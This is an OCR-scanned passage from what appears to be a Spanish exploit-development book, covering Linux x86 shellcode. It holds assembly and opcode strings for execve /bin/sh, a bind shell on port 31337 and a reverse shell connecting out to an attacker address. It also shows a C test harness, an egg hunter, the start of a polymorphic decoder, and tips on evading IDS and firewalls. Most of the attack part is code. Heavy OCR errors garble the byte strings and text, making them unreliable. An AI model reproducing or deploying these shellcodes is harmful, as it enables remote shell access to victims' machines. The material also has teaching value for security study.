%eax, Oxc (%e$i ) 

;  3 

bytes 

movb 

$0xb, %al 

;  2 

bytes  “>  al  : 

movl 

%esi, %ebx 

;  2 

bytes 

leal 

0x8 (%esl) , %ecx 

;  3 

bytes 
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leal  Oxc  (%esi) , %edx 
int  $0x80 

xprl  %ebx, %ebx 

movl  %ebxf  %eax 

inc  %eax 

int  $  0  x  8  0 

call  -0x24 

» string  \" /bin/sh\ 


3  bytes 
2  bytes 

2  bytes  ->  ebx  -  0 
2  bytes  ~>  eax  =  ebx  =  0 

1  bytes  ->  eax  +=  1 

2  bytes 
5  bytes 
8  bytes 


Y  entonces  la  cadena  resultants  serf  a  la  siguienle: 

char  shellcode[]  —  M\xeb\xlf\x!5e\x39\x7  6\x08\x3l\xcO\x88\x46\x07\x89\x46\xGc\xbG,T 
" \x0b\x8  9\xf 3\xSd\x4e\xO  8 \x8d\x56\xQc\xcd\x8G\x31 \xdb\x8  9\xd8 " 

"  \ x  4  0 \ xcd\ x  8  G \ xe  8 \ xdc \x  f  f \xf  f \ xf  f /bin/ sh " ; 


A  traves  de  este  proeeso  hemos  obtenido  otras  ventajas: 

1 .  Nos  deshacemos  de  los  bytes  null. 

2.  Minim  izamos  el  tamafio  del  shellcode. 

3.  Minimizamos  la  posibilidad  de  errores. 

4.  Maximizamos  el  rendimiento  del  shellcode. 

Con  respecto  a  la  longitud  de  nuestro  codigo  shell,  piense  que  puede  ser  un  factor  francamente 
importante  ante  buffers  explotables  que  resulten  ser  demasiado  pequehos.  Piense  tambien  que  en  los 
ejemplos  que  hemos  mostrado,  podria  suprimir  sin  miedo  alguno  el  codigo  correspondienle  a  la 
llamada  exit  (0) .  Decimos  entonces  que  este  trozo  de  codigo,  aunque  limpio,  es  prescindible. 

En  la  siguiente  seccidn  presentaremos  un  nuevo  metodo  que  utilizan  algunos  de  los  shellcodes 
actual  es,  cuyo  tamano,  con  respecto  a  los  anteriores,  ha  quedado  reducido  practicamente  a  la  mitad, 

2.4.2.  Viaje  al  presente 

La  diferencia  del  metodo  actual  eon  respecto  a  la  tecnica  mostrada  por  Aleph  l  se  basa  en  que  no 
siempre  es  necesario  el  uso  de  los  saltos  imp  y  call  para  referenciar  la  cadena  /bin/sh. 

Alguien  muy  astuto  fue  consciente  de  que  podia  obtener  el  mismo  resultado  haciendo  un  uso  correcto 
del  stack.  Ahora  que  sabemos  que  el  registro  ESP  apunta  siempre  a  la  cima  del  stack,  podemos  ir 
introduciendo  elementos  en  la  pi  la  e  ir  copiando  la  direccion  de  ESP  a  los  regislros  que  corresponden 
a  cada  parametro  de  la  syscall. 

I'Como  colocamos  entonces  la  cadena  /bin/sh  en  la  pi  la?  El  truco  esta  en  partir  la  cadena  en  dos 
subcadenas  de  tal  modo  que  queden  asi: 

"/bin" 

-  '7/sh,T 

Dehemos  tener  en  cuenia  que  esta  construction  es  valida: 

blackngel@bbc;^$  /bin//sh. 
sh-3.2$  exit 
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Si  transform amos  sus  valores  ASCI  I  a  hexadecimal,  por  ejemplo  con  la  herramienta  hexdump,  entonces 
podemos  hacer  algo  como  esto: 


xor  eax,  eax  ;  eax  =  0 

push  eax  ;  push  M \Q " 

push  dword  0x68732f2f  ;  push  " //sh1" 

push  dword  0x6e69822f  ;  push  "/bin" 

mov  ebx,  esp  ;  argl  =  " /bin/ / sh\0 " 


Listamos  a  continuation  el  codigo  completo. 


section 

•  text 

global 

start 

start : 

xor  eax, 

eax 

;  Limpieza 

mov  al. 

0x46 

;  Syscall  70 

xor  ebxr 

ebx 

;  argl  =  0 

xor  &cxf 

ecx 

;  arg2  =  0 

int  0x80 

;  setreuid (0, 0 ) 

xor  eaxf 

eax 

;  eax  =  0 

push  eax 

;  "\G« 

push  dword  0x68732f2f 
push  dword  0x6e69622f 
mov  ebx,  es p 


"//ah” 

"/bin" 

argl  =  " /bin//sh\ 0 " 


push  eax 

;  NULL  ->  args[l] 

push  ebx 

;  M/bin/sh\0"  ->  args[0] 

mov  ecx,  esp 

;  arg2  =  args [ ] 

mov  al,  0x0b 

;  Syscall  11 

int  0x80 

r  excve  [T,/bin/sh,T/  args  [ Tl /bin/sh" ,  "NULL"], 

,  NULL)  ; 

Puede  eompiiar  y  enlazar  el  programa  con  nasm  y  id,  y  obtener  los  opcodes  con  objdump  como  ya 
henios  mostrado.  Eliminando  la  llamada  a  setreuid  ( )  obtenemos  un  shell  code  que  ocupa  tan  solo  23 
bytes. 

char  shellcodef]  =  ,T\x31\xc0\x50\x68\x2f \x2f \x73\x68\x68\x2f  \x62\x69" 

,T  \  x6e\x8  9\xe3  \  x5Q  \  x53\x8  9\xel\xb0  \  x0b\xcd\x3G rp ; 


2.4.3.  Alternativa  FNSTENV 

Ya  comen  tamos  en  una  section  anterior  que  obtener  la  direction  del  puntero  de  instruction  ETP  y 
almaeenarla  cn  un  registro,  no  es  una  tarea  trivial  que  se  pueda  realizar  con  una  unica  operation  en 
ensamblador.  TSio  obstante,  nos  hemos  reservado  un  pequeflo  truco  final  que  permite  realizar  lo  que 
acabamos  de  describir  haciendo  uso  de  una  instruccion  especial  dedicada  a  los  registros  de  la  FPU  (la 
unidad  de  coma  flotante  del  procesador)  que  penniten  la  manipulation  y  el  calculo  con  numeros  de 
gran  precision.  Se  trata  de  fnstenv,  que  almacena  Lina  estructura  del  tipo  user_fpregs_st«uct  en  la 
direccion  que  se  le  proporciona  como  argumento.  Dicha  estructura  tiene  un  tamaho  de  32  bytes,  siendo 
el  cuarto  valor  entero  (dword)  la  direccion  de  la  ultima  instruccion  FPU  ejeeutada.  Esto  quiere  decir 
que  podemos  ejecutar  una  instruccion  de  FPU  inocua  como  fabs  y  luego  llamar  a  fnstenv  con  una 
direccion  en  el  stack.  En  el  offset  oxoc  (12)  de  la  estructura  reeitii  guardada,  encontraremos  la 
direccion  en  la  que  se  ejecuto  la  operacion  tabs,  que  puede  ser  obtenida  mediante  instmctiones  pop, 
con  lo  que  ya  tenemos  una  direccion  que  apunta  dentro  del  shelleode.  He  aqui  un  ejemplo: 
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fabs 
fnstenv 
pop  eax 
pep  eax 
pop  eax 
pop  eax 


[esp] 

;  offset  0x00 
;  offset  0x04 
;  offset  QxQS 

offset  OxOC  -  EIP  de  fabs 


Es  obvio  que  como  podemos  proporcionar  a  fnstenv  una  direccion  arbitraria,  podemos  acortar  el 
fragmento  anterior  para  ercar  un  shellcode  mas  pequeno  v  eficiente: 

fabs 

fnstenv  [esp-OxQc] 

pop  eax  ;  EIP  de  fabs 


Una  vez  obtenido  el  valor  de  EIP,  podemos  utilizar  desplazamientos  hardcodeados  para  hacer 
referenda  a  cualquier  parte  del  codigo  o  de  los  datos  almacenados.  Esta  es  una  tecnica  GETPC  que 
puede  resultar  muy  practica  euando  estudiemos  cl  apartado  sobre  polinxorfismo  y  shellcodes 
coditicados, 

2.5.  Port  binding 

Un  bind  shell  no  es  mas  que  un  shellcode  cuyo  objetivo  es  conectar  ima  shell  de  comandos  a  un  puerto 
espedfico  en  la  maquina  de  la  vlctima.  Mostraremos  a  conti  nuacion  el  codigo  ensamblado  de  un 
servidor  base  programado  con  sockets.  Su  objetivo  es  poner  un  puerto  a  la  escucha,  en  este  caso  el 
31337,  y  esperar  por  una  conexion  entrante.  Cuando  la  conexion  es  establecida,  el  servidor  llama  ties 
veces  a  dup2  ()  para  duplicar  los  tres  descriptores  principales  del  servidor  en  el  cliente,  estos  son  la 
entrada,  la  salida  y  la  salida  de  errores  estandar.  De  este  modo,  todo  lo  que  ejecute  o  imprima  el 
servidor  podra  ser  visualizado  directamente  en  el  cliente,  y  todo  aqudlo  que  escriba  el  cliente  sera 
recibido  por  el  servidor.  Por  lo  demas,  establecer  un  socket  a  la  escucha  sigue  un  procedimiento 
estandar: 


Fun  cion 

Objetivo 

socket ( } 

Crea  un  nuevo  socket. 

bind [ ) 

Pone  un  puerto  a  la  escucha. 

listen  ( ) 

Espera  por  conexiones  entrantes. 

accept ( ) 

Establece  una  conexion. 

Tabla  02.03:  Fimciones  rclaciouadas  con  sockets. 


En  un  sistema  operative  Linux,  todas  estas  llamad  as,  ademas  de  connect  o,  que  es  utilizada  por  los 
clientes,  son  implementadas  en  una  unica  syscall.  Su  nombre  es  socketcali ,  y  como  ya  ha  podido  ver 
en  la  lista  expuesia  al  principio  de  este  articulo,  se  define  con  el  numero  1 02.  La  pregunta  es  entonces: 
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l<2  omo  indicarle  a  socket  call  la  funcion  que  deseamos  usar?  A  traves  del  registro  EBX. 
Esquematicamenle,  los  registros  ado  plan  an  los  siguientes  valores; 


EAX 

102 

EBX  - 

1 

socket ( ) 

2 

bind { ) 

3 

connect ( ) 

4  - 

listen  ( ) 

5 

accept ( ) 

ECX  ^ 

tos  argument  os  correspondient.es  a  cada  funcidn 

La  llamada  a  dap 2  () 

sen  a  asl: 

EAX  - 

63 

EBX  Descriptor  o  socket  destine* 

ECX  Descriptor  a  copiar . 


For  io  demas,  no  quisieramos  convertir  este  libro  en  un  manual  de  programacion  de  sockets  o  de  disefio 
de  aplicaciones  en  red,  de  modo  que  remitimos  al  iector  interesado  al  fantastic©  libro  “Programacion 
de  Socket  Linux”  de  Sean  Walton. 

Lo  ultimo  que  hace  el  shellcode  es  la  misma  llamada  a  exeeveo  que  describimos  en  la  seccion 
anterior.  Comentaremos  las  eonstmcciones  principals  del  siguiente  ensamblado  para  que  el  lector 
pueda  comprender  los  elementos  esenciales  de  una  conexion  a  puertos. 


xor 

eax, eax 

xor 

ebx, ebx 

Se  limpian  los  registros 

xor 

ecx, ecx 

xor 

edx, edx 

mov 

al, 0x66 

_ NR_socketcall 

mov 

bl , Oxl 

socket ( ) 

push 

ecx 

push 

0x6 

IPPRO.TO_TCP 

push 

Oxl 

SOCKSTREAM 

push 

0x2 

AF_INET 

mov 

ecx, esp 

int 

0x80 

Socket (AF_INET,  5 OCK_S T REAM ,  IPPROTO  TCP) 

mov 

e  s i , e  ax 

esi  =  descriptor  de  socket 

mov 

al, 0x66 

NR  socketcall 

mov 

bl , 0x2 

bind { ) 

push 

edx 

pushw 

0x6  97a 

Puerto  31337 

push 

bx 

mov 

ecx, esp 

push 

0x10 

push 

ecx 

push 

esi 

mov 

ecx,  esp 

int 

0x80 

;  bind (socketfd,  struct  sockaddr  *name,  socklen  i 

mov 

al, 0x66 

;  NR  socketcall 

mov 

bl, 0x4 

;  listenU 

Capitulo  II.  Shellcodes  en  arqiulecturas  1A32 


83 


push 

Oxl 

push 

esi 

mov 

ecx, esp 

int 

0x80 

listen  (socketfd, 

1) 

mov 

al t  0x6  6  ; 

NR  socketcall 

mov 

bl, 0x5  ; 

accept.  [ ) 

push 

edx 

push 

edx 

push 

esi 

mov 

ecx, esp 

int 

0x80 

accept (socketfd, 

struct  sockaddr  *addr 

mov 

ebx, eax 

xor 

ecx, ecx 

mov 

cl , 0x3 

;  Contador  a  3 

inicio 

bucle : 

dec 

~ci 

;  Se  decrements 

ei  contador  <— o 

mov 

al, 0x3 f 

;  NR  dup2 

1 

int 

0x80 

;  Se  llama  a  dup2 ( ) 

jne 

inicio  bucle 

;  Se  repite  el  bucle  -  - o 

xor 

eax, eax 

push 

edx 

push 

Qx687'32f  6e  ; 

push 

0x69622f 2f  ; 

Se  construye  la 

cadena  ,T//bin/sh\QH 

mov 

ebx, esp  ; 

push 

edx  ; 

NULL 

push 

ebx  ; 

//bin/sb\G 

mov 

ecx, esp  ; 

args [ " //bin/ sh\0 

",  NULL] 

push 

edx  ; 

NULL 

mov 

edx, esp  ; 

envp [NULL] 

mov 

al, Oxb 

int 

0x80 

Llamada  a  execve () 

socklen  t  *addrlen] ; 


Ahora  podemos  obtener  los  codigos  de  operacion  con  objdump  y  probarlos  dentro  de  un  pequeno 
program  a  en  C. 

char  shellcode[]  — 

M\x31\xcO\x31\xdb\x3l\xc9\x3l\xd2\xbG\x6  6,r 
M \xb3\x01\x51\x6a\xQ6\x£a\x01\x6a\x02\x8  9" 

"  \xel \xcd\x80 \xB 9\xc6\xbQ \x6 6\xb3\x02\x52 " 

M\x66\x£8\x7a\x6  9\x66\x53\x8  9\xel\x6a\xl0,, 

"  \x51\x56\x8  9\xel\xcdVx8  0\xb0\x66\xi>3\x0  4^ 

" \x6a\x01\x56\x8  9\xel\xcd\x8  0\xbO\x66\xb3TI 
11  \x05\x52\x52  \x5  6\x8  9\xel\xcd\x8G  \x89\xc3f' 

"  \x31\xc9\xbl\xG3\xfe\xc9\xbO\x3f \xcd\x80" 

'’\x75\xf  8\x31\xc0\x52\x68\x6e\x2f  \x73\x68" 

11  \  x68\x2f  \x2f  \x62\x69\xS  9\xe3\x52  \x53  \  x89  " 
rt\xel\x52\x89\xe2\xbO\xOb\xcd\x0On ; 
void  main ( ) 

{ 

void  (*fp)  (void) ; 

£p  =  (void  *) fishellcode; 

fp()  ; 
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Compilamos  y  ejecutamos  la  aplicacion  en  un  terminal*  Este  se  quedara  en  un  estado  suspendido  a  la 
espera  de  conexiones.  En  otro  terminal  comprobamos  que  el  puerto  esta  a  la  escucha  y  nos  conectamos 
a  el  para  conseguir  nuestra  shell. 


blackngei@bbc:~$  get  -i  execs tack  bUvdp.c  -o  bindp 
b  Uc  k  nijet  p  b  b  c : .  /btfl  d  p 

0  •'  blacknrje Lpb be:  ~ 

blackngel|bbc:^$  nc  12 7. ©.0.1  31337 
whoani 
blackngel 
unaxte  -ar 

Linux  bbc  3 . 5*©- 36 -generic  #57~precisel - Ubuntu  SMP  Thu  Jun  2 
0  15:22:35  UTC  2013  i6S6  1686  1386  GNU /Linux 


a 


o 


Imagen  02.04:  Ejcmplo  dc  concxibn  a  puertos. 


2.6.  Conexion  inversa 

P  on  gam  os  por  caso  la  si  mac  ion  en  que  la  victim  a  de  una  vulnerabilidad  de  desbordamiento  de  buffer 
se  encuentra  detras  de  un  cortafuegos,  Estos  dispositivos,  ya  sean  implementados  como  eletnentos 
extemos  de  hardware  o  como  software  dentro  de  la  prop  i  a  maquina,  actuan  estableciendo  eierta 
cantidad  de  reglas  que  regulan  el  rrafico  de  red  que  un  si  sterna  puede  enviar  o  recibir  en  un  momenta 
dado.  Por  norma  general,  un  firewall  iimita  en  mayor  medida  las  conexiones  entrantes  que  las  salienles. 
El  motivo  es  que  las  segundas  deberian  precede r  de  un  usuario  con  liable  y  el  cortafuegos  procura 
causar  los  menores  peijuicios  posibles  en  las  decisiones  que  este  ha  tornado.  Este  hecho  puede  ser 
aprovechado  por  un  atacante  para  crear  un  enlace  inverse  que  provenga  del  ordenador  de  la  victima, 
todo  ello  sin  provocar  a  1  annas  indeseadas. 

Si  las  ventajas  que  hemos  mencionado  no  le  parecen  sufieientes,  consider e  que  la  programacion  de  un 
she!  1c  ode  de  conexion  inversa  es  relativamente  mas  sencillo  que  el  codigo  que  mostramos  en  la  sec  cion 
previa.  Tecnicamente,  sustituiremos  las  funciones  bindo,  listen  {)  y  accept  (3,  por  una  seneilla 
llamada  a  connect  { )  con  la  direccion  IP  de  la  maquina  del  atacante  y  el  puerto  que  habra  configurado 
a  la  escucha.  Poster!  ormente,  igual  que  hicimos  en  el  caso  anterior,  se  duplican  los  tres  descriptores 
de  fichero  primaries  y  se  ejecuta  la  shell  de  comandos  del  modo  habitual.  Comentaremos  instruccion 
por  instruccion  el  siguiente  listado  de  codigo  ensamblador: 


xor 

xor 

xor 

xor 

mov 

mov 


eax, eax 
ebx, ebx 
ecx, ecx 
edx, edx 
al ,  0x66 
bl, 0x1 


Se  iimpian  los  registros 


NR  socket call 
socket  ( ) 
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push  ecx 

push  0x6  ;  I P  PRO T 0_T C  P 

push  Oxl  ;  S  OCK_S  T  REAM 

push  0x2  ;  A£_INET 

mov  ecx, esp 

int.  0x30  ;  socket  (AF_INET,  SGCK_5TREAMr  IPPB.OTO_TCP) 

mov  esi,eax  ;  esi  =  descriptor  de  socket 

mov  al,0x66  ;  _ NR_socketcal 1 

mov  bl , 0x2 


push 

QxQbOOaScO  ; 

push™ 

0x697a  ; 

push 

bx  ; 

inc 

hi 

mov 

ecx, esp 

push 

0x10  ; 

push 

ecx  ; 

push 

es  1  ; 

mov 

ecx, esp 

int 

0x80 

xor 

ecx, ecx 

mov 

cl, 0x3 

inicio 

bucle : 

dec 

cl 

mov 

al , 0x3f 

int 

0x80 

jne 

inicio  bucle 

xor 

eax, eax 

push 

edx 

push 

Ox  6.8  7  32  f  fie  ; 

push 

0x69622 £2 f  ; 

mov 

ebx,esp  ; 

push 

edx  ; 

push 

ebx  ; 

mov 

ecx, esp  ; 

push 

edx  ; 

mov 

edx , esp  ; 

mov 

a 1 , 0  xb 

int 

0x80 

Estructura  sockaddr_in 
Direccion  IP  (192.168*0.11) 
Puerto  31337 
AF  INET 


sizeof (sockaddr_in) 
sockaddr_in 
descriptor  de  fichero 

connect (desc,  &sockaddr_in,  sizeof (sockaddr_in) 
;  Contador  a  3 

;  Se  decrement a  el  contador  <--o 

;  _ NR_dup2  | 

;  Se  llama  a  dup2 ()  I 

;  Se  repit e  el  bucle - - - o 


Se  construye  la  cadena  "//bin/shVG" 
HULL 

/ /bin/sh\Q 

args  IT,//bin/sh\0T' ,  NULL] 

HULL 

envp [HULL] 

Llamada  a  exeeve ( ) 


Los  comentarios  deberfan  ser  sufic ientemente  esclarecedores.  Si  compila  el  codigo  y  obtiene  los 
valores  hexadecimales,  puede  construir  el  siguiente  pro  grama  de  prueba: 

char  shell-code  []  = 

"\x31\xc0\x3l\xdb\x3l\xc9\x3l\xd2" 

°  \xb0\x66\xb3\x0,l  \x51  \x6a\xQ  6\x6a" 

" \x01\x6a\x02 \x3  9\xel \xcd\x8  0\x8  9" 

” \xc6 \xb0\x66\x3 1 \xdb\xb3 \x02\x68 " 

"  \xcO\xa8\xOO\xOb\x6  6\x68\x7a\x69T' 

11  \x  6  6\x53\xf  e\xc3\x8  9\xel  \xfia\xl  0TI 
Tl  \x51\x5  6 \xS9\xel  \xcd\xS0  \x31\xc91" 

Tl \xbl\xG3\xfe\xc9\xbQ\x3f  \xcd\x8  0TI 
11  \x7  5  \xf  6  \  x3 1  \xc0\x52  \x68\xfie  \x2  f  " 

M \x73\x68\x68\x2f \x2f \x62\x69\x89" 

"\xe3\x52\x53\x89\xel\x52\x39\xe2” 

" \ xb  0 \x0b \ xcd\ x  8  0 " ; 
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void  mainO 
{ 

void  ( * f p J  (void); 

fp  —  (void  * ) ^shellcode; 

fp() ; 

} 


Hay  un  detalle  importante  que  no  debemos  pasar  par  alto.  La  secuencia  de  bytes  “\xcQ\xa8\x00\x0b” 
se  corresponde  con  la  direccion  TP  192.168,0.11,  que  es  la  que  hemos  utilizado  para  realizar  la 
conexion  inversa  de  demostracidn.  Advertimos  entonces  que  existe  un  byte  null  que  podria  causar  un 
fallo  en  el  shellcode  si  estc  se  inyecta  en  una  vulnerabilidad  real.  La  solucion  es  simple,  o  bien  usted 
fen  el  papel  de  atacante)  posee  una  direccion  IP  carente  de  un  valor  0,  o  tendra  que  modifiear  el  codigo 
ensamblado  para  generar  esta  de  forma  dinamica.  Otra  solucion  mas  original  basada  en  tecnicas  de 
codificacion  y  polimorfismo  sera  presentada  en  la  seccion  2.8. 

La  siguiente  ilustracion  es  similar  a  la  que  mostramos  en  la  seccion  anterior,  pero  en  este  caso  el 
atacante  uliliza  en  primer  lugar  la  navaja  suiza  netcat  para  poner  el  puerto  31337  a  la  escucha,  y  luego 
la  ejecucion  del  shellcode  Simula  una  conexion  inversa  desde  la  victima. 


Imagen  02.05:  Ejemplo  de  conexion  inversa. 

Por  supuesto,  algunos  firewalls  mas  restrictivos  pueden  prohibir  esta  clase  de  conexiones  salientes. 
listed  puede  probar  a  utilizer  puertos  mas  comunes  como  lo  son  el  80  o  el  25  (trallco  web  y  correo 
electron  ico  respectivamente),  cuyas  probabilidades  de  ser  accesibles  son  mayores  que  Las  del  resto. 


2.7.  Egg  Hunters 

Cuando  el  espacio  disponible  para  inserlar  un  payload  no  es  lo  suficientemente  grande  como  para 
albergarlo  por  complete,  entonces  se  requiere  una  leenica  para  situarlo  en  otro  lugar  de  la  memoria  y 
descubrir  su  direccion  durante  el  ataque,  Un  egg  hunter  es  una  pieza  de  codigo  maquina  con  un  tamafio 
muy  reducido,  que  se  encarga  de  buscar  una  cadena  o  valor  especifico  en  todo  el  espacio  de  direcciones 
de  un  proceso  sin  causar  ninguna  violation  de  segmento.  Por  supuesto,  el  algoritmo  utilizado  tiene  que 
ser  lo  suficientemente  r&pido  para  que  el  metodo  pueda  ser  general izado. 
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Lo  habitual  es  insertar  un  shellcode  precedido  de  un  valor  compuesto  per  cuatro  u  ocho  bytes  que 
sir  van  de  firma  y  euyo  patron  sea  unico.  Si  accidental  mente  este  valor  se  repitiese  en  alguna  otra  zona 
de  la  memoria,  el  exploit  fa  liana  de  in  mediate. 

A  pesar  de  que  la  utilization  de  egg  hunters  es  mbs  comiin  en  sistemas  operatives  Windows,  en  Linux 
tambien  ban  sido  disefiadas  distintas  soluciones  para  casos  particulares.  Matt  Miller  (aka  Skape),  mas 
eonocido  por  la  ingente  cantidad  de  artleulos  que  ha  publicado  sobre  temas  de  exploiting  e  ingenieria 
inversa  en  la  revista  de  divulgaeion  tecnica  uninformedorg,  realizo  un  fabuloso  trabajo  al  describir 
varies  de  los  metodos  mas  eficientes  en  plataformas  x86.  Por  ejemplo,  la  instalacion  de  un  inanejador 
de  sehales  mediante  signal  ()  que  ignore  todos  los  eventos  SIGSEGV,  ha  sido  descartada  al  no 
cumplir  con  el  requisito  deseado  de  longitud.  El  resto  de  alternate  vas,  con  tamanos  de  39, 35  y  30  bytes 
respectivamente,  hacen  uso  de  llamadas  a  access  o  y  sigaction()  en  formas  no  convencionales.  El 
objetivo  es  utilizar  un  efecto  colateral  de  las  mismas:  el  paso  de  un  puntero  o  direccion  no  mapeada 
en  el  espacio  de  direeciones  asignadas  al  proceso,  provoca  que  se  devuelva  un  error  cuyo  valor  es  igual 
a  la  eonstante  efault.  Esto  permite  disehar  un  codigo  que  recorra  todas  las  direeciones  de  memoria 
sin  general  fallos  de  segmentaciom  En  cada  iteracion  se  comprueba  el  valor  de  la  position  actual 
contra  la  firma  previamente  estableeida,  easo  de  coincidir  significant  que  el  shellcode  ha  sido  hallado 
y  se  procede  mediante  un  salto  a  su  ejeeueion. 


Nota 


Algunos  egg  hunters  requieren  que  la  firma  se  encuentre  constituida  por  valores  que  se 
correspondan  con  codigo  ejecutable  y  de  tipo  NOP.  La  explication  es  que  el  registro 
que  almacena  cada  posicion  de  memoria  individual  podria  no  estar  apuntando 
direetamente  al  shellcode  cuando  la  firma  es  coincidente,  sino  que  sehalarfa  al  prineipio 
de  la  propia  cadena  de  validation,  y  por  !o  tanto  esta  debe  desplazarse  hacia  el 
shellcode  adyacente.  El  problems,  repetimos,  depende  de  si  el  algoritmo  de  busqueda, 
una  vez  hallado  el  shellcode,  salta  direetamente  a  este  o  a  la  firma  que  le  precede,  en  el 
primer  caso  el  contenido  de  la  firma  es  irrelevante,  en  el  segundo  debera  contener 
codigo  ensamblador  ejecutable  (instrucciones  NOP  preferiblemente). 


Aunque  recomendamos  encareci  dam  erne  la  lectura  del  artfculo  “Safely  Searching  Process  Virtual 
Address  Space”  citado  en  las  referencias,  nos  permitimos  examinar  brevemente  uno  de  los  codigos 
mas  elicientes: 

or  cx, Qxfff 
inc  ecx 

push  byte  +0x43 
pop  eax 
int  0x80 
emp  al, Gxf2 
jz  0x0 

jtiqv  eax,  0x5090 5090 

mov  edi, ecx 

scasd 

jnz  0x5 

scasd 

jnz  0x5 

jmp  edi 
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Las  dos  primeras  instrueciones  en  conjunto  provocan  un  incremento  del  registro  ECX  en  un  valor  igual 
al  lamark) de  una pagina de  mem oria (page  size).  Luego se  invoea  la  llamada de sistema  sigaction  ( } 
y  se  comprueba  si  el  valor  devuelto  es  efault  (oxf  2).  En  caso  afirmativo  se  reinicia  el  bucle  desde  el 
principio  pero  incrementando  otra  pagina  al  contador  (no  es  necesario  comprobar  todas  las  direeciones 
que  componen  una  pagina  cuando  una  de  el  las  se  ha  dec  I  ar  ado  como  no  pre  sente  en  el  espacio  del 
proeeso),  En  caso  contrario  se  comprueba  el  contenido  de  la  direccion  apuntada  por  ECX  con  la  firma 
0x509050  90,  si  coinciden  se  comprueban  los  siguientes  4  bytes  (la  firma  tiene  una  longitud  doble).  Si 
hemos  encontrado  nuestro  patron,  entonces  saltamos  dentro  del  shellcode,  en  cualquier  otro  caso 
simplemente  incrementamos  el  contador  en  1  byte  y  realizamos  de  nuevo  las  comprobaeiones 
nee  es  arias. 

En  algunas  oeasiones  la  utilidad  de  nn  egg  hunter  podria  no  ser  demasiado  evidente,  es  posible 
argumentar  que  siempre  tenemos  la  capaeidad  de  sobrescribir  E1P  con  una  direccion  hardcodeada  o 
bien  con  la  direccion  de  una  instrucdon  con  un  salto  negativo  o  algo  similar,  pero  la  solucion  no  es  ni 
de  lejos  tan  portable  como  la  aplicacion  de  un  egg  hunter.  Al  fin  y  al  cabo  se  trata  de  fiabilidad  y 
portabilidad  de  los  exploits,  si  el  algoritmo  de  busqueda  se  implements  de  un  modo  suficientemente 
generalizado,  el  exito  queda  garantizado  en  plataformas  del  mismo  calibre* 

Un  egg  hunter  puede  resultar  de  suma  utilidad  en  un  sistema  operativo  Linux  eon  la  protection  ASLR 
activada.  Una  tecnica  como jmp2esp  podria  permitir  bifurcar  el  flujo  de  ejecucion  de  un  proceso  hacia 
un  egg  hunter  que  localizase  un  shellcode  complejo  y  de  tamano  considerable,  situado  en  una  direccion 
desconocida* 


2.8.  Shellcodes  polimorficos 

En  los  dias  que  corren,  cualquier  sistema  de  deteecion  de  intrusos,  IDS  o  sus  variantes  HIDS  y  NIDS, 
pueden  ser  capaces  de  detectar  parte  de  los  ataques  contra  buffer  overflows  tan  solo  reconociendo  el 
patron  tipico  de  un  shellcode  inyectado.  Aplicaciones  ampliamente  utilizadas  como  Snort  buscan  en 
los  paquetes  de  red  largas  cadcnas  de  instrucciones  nop  o  bloques  de  codigo  commies  en  los  shellcodes 
con  el  objetivo  de  generar  una  alerta  al  administrador  del  sistema.  Los  virus  han  sufrido  este  mismo 
problema  durante  mucho  tiempo,  partes  de  sus  cuerpos  eran  comparadas  con  bases  de  datos  con  firmas 
pregrabadas  y  de  este  modo  eran  frenados  de  inmediato, 

Para  evadir  este  problema,  algunos  programadores  de  virus  comenzaron  a  ulilizar  una  tecnica  que  ya 
posefan  ciertos  seres  biologicos.  Hablamos  del  polimorfismo,  un  rnetodo  para  modificar  partes  del 
codigo  en  tiempo  de  ejecucion  dificultando  asi  que  las  firmas  preestablecidas  puedan  ser  de  utilidad. 

La  pregunta  obvia  es  entonces;  ^Podemos  a  pi  i  ear  esta  tecnica  a  la  eodiiieaeicm  de  un  shellcode?  La 
resptiesta  es  afinnativa.  Un  codigo  polimorfico  consta  de  tres  partes,  dos  de  el  las  van  siempre  unidas 
dentro  del  shellcode,  la  otra  es  externa. 

El  eifrador 

-  El  descifrador 

-  El  shellcode  original 

El  objetivo  es  cifrar  un  shellcode  normal  con  una  Have  aleatoria  de  modo  que  e!  resultado  final  no 
pueda  set  reconocido  por  ninguna  base  de  datos  con  patrones  anticipados.  Dicho  codigo  debe 
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descifrarse  con  la  misma  Have.  La  parte  del  descifrador  se  agregara  al  shellcode  dfrado  y  sera  la  unica 
parte  del  codigo  que  no  ira  eifrada* 


Imagen  02.06:  Diagrama  de  compos  icion  dc  un  shed  code  cifrado. 


Queda  claro  entonces  que  el  ciifador  se  trata  del  elemento  externo,  es  por  cllo  que  de  momento  nos 
centraremos  en  los  otros  dos  componentes.  Tomenios  uno  de  los  shellcodes  utilizados  en  las  secciones 
ante  ri  ores: 

"\x3i\xc0Xx50\x66\x2f\x2fXx73\x68\x68Xx2f \x62\x6  9,T 
t,\x6e\x8  9Xxe3\x5G\x53\x8  9\xel\xbGXx0bXxcdXx8Q'f ; 


1  magi  nemos  que  estos  bytes  ya  estuviesen  cifrados  y  que  ei  algoritmo  luese  tan  basico  eomo  an  cifrado 
del  Cesar,  es  deeir,  que  a  todos  los  bytes  del  mismo  se  ie  han  sumado  cierta  cantidad,  por  ejemplo  un 
3,  Eseribiremos  un  pequeno  codigo  que  los  descifre. 

Comenzaremos  utilizando  el  mismo  truco  que  usamos  en  la  seed  on  “Viaje  a  I  pas  ado11  para  referenda! 
una  cadena,  pero  esta  vez,  sustituiremos  M/bin/sh”  por  las  instruc clones  de  nuestro  shellcode.  Lo  que 
conseguiremos  sera  tener  en  el  registro  ESI  la  direccion  en  la  que  comienza  ese  codigo,  y  podremos 
realizar  sobre  el  lodas  las  operaciones  neeesarias.  Mostramos  a  continuadon  un  descifrador  general 
que  cumpla  nuestro  proposito: 

global  _start 
_start : 

jmp  short  magic 

init : 

pop  esi 
xor  ecx, ecx 
mov  cl,0 

desc : 

sub  byte  [esi  +  ecx  -  1],0 
sub  cl , 1 
jnz  desc 
jmp  short  sc 
magic : 

call  init 

sc: 

;  aqui  va  el  shellcode 

Primero  utilizamos  el  viejo  truco  del  sal  to  para  obtener  en  ESI  la  direccion  donde  comienzan  las 
instrucciones  de  nuestro  shellcode  supuestamente  cifrado.  Luego  limpiamos  ECX  y  movemos  a  CL 
un  valor  0.  Esta  instruecion  es  temporal  ya  que  ese  valor  lo  cambiaremos  poster! ormente  con  la 
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longitud  del  shellcode  original.  Despues  comienza  el  proeeso  de  descifrado  que  se  trata  de  una  simple 
operacion  sub,  que  va  restando  un  valor  0  a  cada  byte  del  shellcode  original  recorriendolos  desde  el 
final  hasta  el  prineipio,  es  decir,  hasta  que  el  registro  CL  llegue  a  cero,  Esla  instruccion  tambien  es 
